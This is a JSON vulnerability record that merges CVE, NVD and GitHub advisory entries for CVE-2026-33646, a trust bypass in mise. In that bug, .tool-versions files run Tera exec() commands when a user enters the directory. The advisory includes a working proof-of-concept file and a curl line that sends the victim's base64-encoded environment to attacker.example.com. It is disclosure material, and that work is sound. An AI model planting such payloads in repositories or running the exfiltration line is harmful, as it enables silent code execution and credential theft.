{"id":"GHSA-fjj5-v948-whjj","revision":null,"records":[{"revision":"6c0b59dac0dc4ceb9a40ceb986d3a722","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33646","aliases":[],"title":"mise: Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.","state":0,"publishedAt":"2026-06-26T16:51:44.261+00:00","modifiedAt":"2026-06-29T13:28:19.212+00:00","affected":[{"ecosystem":"Vendor product","name":"mise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"jdx\",\n                    \"product\": \"mise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2026.3.10\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33646","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33646","identifiers":["CVE-2026-33646"]},"retained":false,"historicalAffected":[]},{"revision":"161371b1c0bb46658839134d905b325a","observedAt":"2026-10-27T09:02:55.767+00:00","statement":{"source":"nvd","id":"CVE-2026-33646","aliases":[],"title":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command executi…","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.","state":0,"publishedAt":"2026-06-26T18:16:58.42+00:00","modifiedAt":"2026-10-25T17:10:00.197+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33646","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2026-06-26T18:16:58.420","lastModified":"2026-10-25T17:10:00.197"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33646","identifiers":["CVE-2026-33646"]},"retained":false,"historicalAffected":[]},{"revision":"b21093e7e40745c1a30d04f91d4e56ec","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-fjj5-v948-whjj","aliases":["CVE-2026-33646"],"title":"Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)","description":"## Summary\n\nMise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt.\n\n## Vulnerability Details\n\n### Vulnerable Code\n\n**File:** `src/config/config_file/tool_versions.rs`, lines 60-63\n\n```rust\npub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {\n    let mut cf = Self::init(&path);\n    let dir = path.parent();\n    let s = get_tera(dir).render_str(s, &cf.context)?;  // <-- No trust check\n    // ...\n}\n```\n\n**File:** `src/tera.rs`, lines 385-391\n\n```rust\npub fn get_tera(dir: Option<&Path>) -> Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\n**File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions.\n\n**File:** `src/config/config_file/mod.rs`, lines 272-287\n\n```rust\npub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {\n    if let Ok(settings) = Settings::try_get()\n        && settings.paranoid\n    {\n        trust_check(path)?;  // Only in paranoid mode!\n    }\n    match detect_config_file_type(path).await {\n        // ...\n        Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),\n        // ...\n    }\n}\n```\n\n### Attack Vector\n\n1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function.\n2. The victim clones the repository and has mise activated in their shell (via `eval \"$(mise activate zsh)\"` or equivalent).\n3. When the victim `cd`s into the repository directory, mise's shell hook (`hook-env`) fires automatically.\n4. `hook-env` loads and parses config files, including `.tool-versions`.\n5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`.\n6. The Tera engine evaluates `{{ exec(command=\"...\") }}`, executing arbitrary commands as the victim's user.\n7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode.\n\n### Execution Context\n\n- Commands execute as the current user with full access to their environment.\n- The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).\n- Execution happens silently during the prompt hook -- the user sees no indication that code was run.\n\n### Contrast with .mise.toml\n\n`.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- mise installed (`brew install mise` or equivalent)\n- Shell activation enabled: `eval \"$(mise activate zsh)\"` (or bash/fish)\n- Default settings (paranoid mode NOT enabled — this is the default)\n\n### PoC: Silent RCE on `cd`\n\n**Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`:\n\n```bash\nmkdir -p /tmp/poc-mise-repo\ncd /tmp/poc-mise-repo\ngit init\n\ncat > .tool-versions << 'EOF'\n{{ exec(command=\"id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof\") }}node 20.0.0\npython 3.11.0\nEOF\n\ngit add -A && git commit -m \"Initial commit\"\n```\n\nNote: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`.\n\n**Step 2:** In a new shell with mise activated, enter the directory:\n\n```bash\neval \"$(mise activate zsh)\"\ncd /tmp/poc-mise-repo\n```\n\n**Step 3:** Verify arbitrary code execution:\n\n```bash\ncat /tmp/mise-rce-proof\n```\n\n**Expected output:**\n```\nuid=501(youruser) gid=20(staff) groups=20(staff),...\nSUCCESS=youruser\nMon Mar 16 21:34:46 IST 2026\n```\n\nNo trust prompt, no warning, no error output. The `id` command executed silently as the current user.\n\n### Validated Test Results\n\nTested on 2026-03-16 with:\n- mise 2026.3.9 macos-arm64\n- macOS Darwin 24.5.0 arm64\n- zsh 5.9\n- Paranoid mode: `false` (default)\n\n**Test 1 — `.tool-versions` (no trust check):**\n```\n$ rm -f /tmp/mise-rce-proof\n$ zsh -c 'eval \"$(mise activate zsh)\" && cd /tmp/poc-mise-repo && pwd'\n/tmp/poc-mise-repo\n$ cat /tmp/mise-rce-proof\nuid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\nSUCCESS=golan\nMon Mar 16 21:34:46 IST 2026\n```\n\nCommand executed silently. No trust prompt. No errors.\n\n**Test 2 — `.mise.toml` with same payload (trust check blocks execution):**\n```\n$ mkdir -p /tmp/poc-mise-toml\n$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'\n[tools]\nnode = \"{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0\"\nTOMLEOF\n$ rm -f /tmp/mise-hook-pwned\n$ zsh -c 'eval \"$(mise activate zsh)\" && cd /tmp/poc-mise-toml && pwd'\nmise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.\nTrust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html\n$ cat /tmp/mise-hook-pwned\ncat: /tmp/mise-hook-pwned: No such file or directory\n```\n\n`.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely.\n\n### Alternative PoC (data exfiltration)\n\n```\n{{ exec(command=\"curl -s -X POST -d \\\"$(env | base64)\\\" https://attacker.example.com/collect -o /dev/null\") }}python 3.11.0\n```\n\n## Impact\n\n- **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file.\n- **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.\n- **Silent execution**: No trust prompt, warning, or user interaction required.\n- **Full user privilege escalation**: Commands run with the full privileges and environment of the current user.\n- **Credential theft**: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.\n- **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers' machines.\n\n## Suggested Fix\n\n### Option 1: Add trust_check to .tool-versions parsing (recommended)\n\n```rust\n// In src/config/config_file/tool_versions.rs\npub fn from_file(path: &Path) -> Result<Self> {\n    trace!(\"parsing tool-versions: {}\", path.display());\n    Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())\n}\n\npub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {\n    let mut cf = Self::init(&path);\n    let dir = path.parent();\n    // Only use tera if the file contains template syntax AND is trusted\n    let s = if s.contains(\"{{\") || s.contains(\"{%\") || s.contains(\"{#\") {\n        trust_check(&path)?;\n        get_tera(dir).render_str(s, &cf.context)?\n    } else {\n        s.to_string()\n    };\n    // ...\n}\n```\n\n### Option 2: Remove exec() from .tool-versions tera context\n\nCreate a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing.\n\n### Option 3: Remove tera processing from .tool-versions entirely\n\n`.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.","state":0,"publishedAt":"2026-06-22T17:19:56+00:00","modifiedAt":"2026-07-21T15:15:49.9367315+00:00","affected":[{"ecosystem":"crates.io","name":"mise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2026.3.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj","https://nvd.nist.gov/vuln/detail/CVE-2026-33646","https://github.com/jdx/mise"],"sourceUrl":"https://github.com/advisories/GHSA-fjj5-v948-whjj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fjj5-v948-whjj","identifiers":["GHSA-fjj5-v948-whjj","CVE-2026-33646"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T15:46:19.1555709+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T15:46:19.1555709+00:00","lastSuccessAt":"2026-10-27T15:46:19.3166108+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:46:19.3166123+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-67d02c0690a311a3477ecb30285e6a67bc5cbcf4b551d4b6cab698393621fd1a","complete":true,"records":415206,"lastAttemptAt":"2026-10-27T15:44:18.8922484+00:00","lastSuccessAt":"2026-10-27T15:44:18.7720642+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:44:18.8922484+00:00","snapshotPublishedAt":"2026-10-27T15:30:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T15:46:50.7636286+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13489},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T15:46:19.1555709+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T15:46:19.1555709+00:00","lastSuccessAt":"2026-10-27T15:46:21.5213865+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:46:21.5213883+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f81e3b22a8724ee290f14b0a1bb1aaf0","complete":false,"records":13426,"lastAttemptAt":"2026-10-27T15:46:48.5530959+00:00","lastSuccessAt":"2026-10-27T15:46:48.549+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:46:48.549+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13480,"expectedIdentifiers":13489},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-209ac5c5c1876448d270401dd7be9eb8338c977bffb106204e23f2a445f8dc56","complete":true,"records":9782,"lastAttemptAt":"2026-10-27T15:46:15.6695545+00:00","lastSuccessAt":"2026-10-27T15:46:15.4210182+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:46:15.6695545+00:00","snapshotPublishedAt":"2026-10-27T15:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T15:44:19.0567932+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:44:19.0567932+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-93fe8481574c33257e61d513a6f77ce9dae5c9ed681fabdfa367d09ba130127c","complete":true,"records":2997,"lastAttemptAt":"2026-10-27T15:46:19.1148938+00:00","lastSuccessAt":"2026-10-27T15:46:18.9862774+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:46:19.1148938+00:00","snapshotPublishedAt":"2026-10-27T15:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-4cbf2f787207c0e5343fed347b333d6fe1c6a8461089bcb67e952c72cb90f6de","complete":true,"records":230822,"lastAttemptAt":"2026-10-27T15:46:07.9055861+00:00","lastSuccessAt":"2026-10-27T15:46:06.6649981+00:00","error":null,"lastVerifiedAt":"2026-10-27T15:46:07.9055861+00:00","snapshotPublishedAt":"2026-10-27T15:18:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}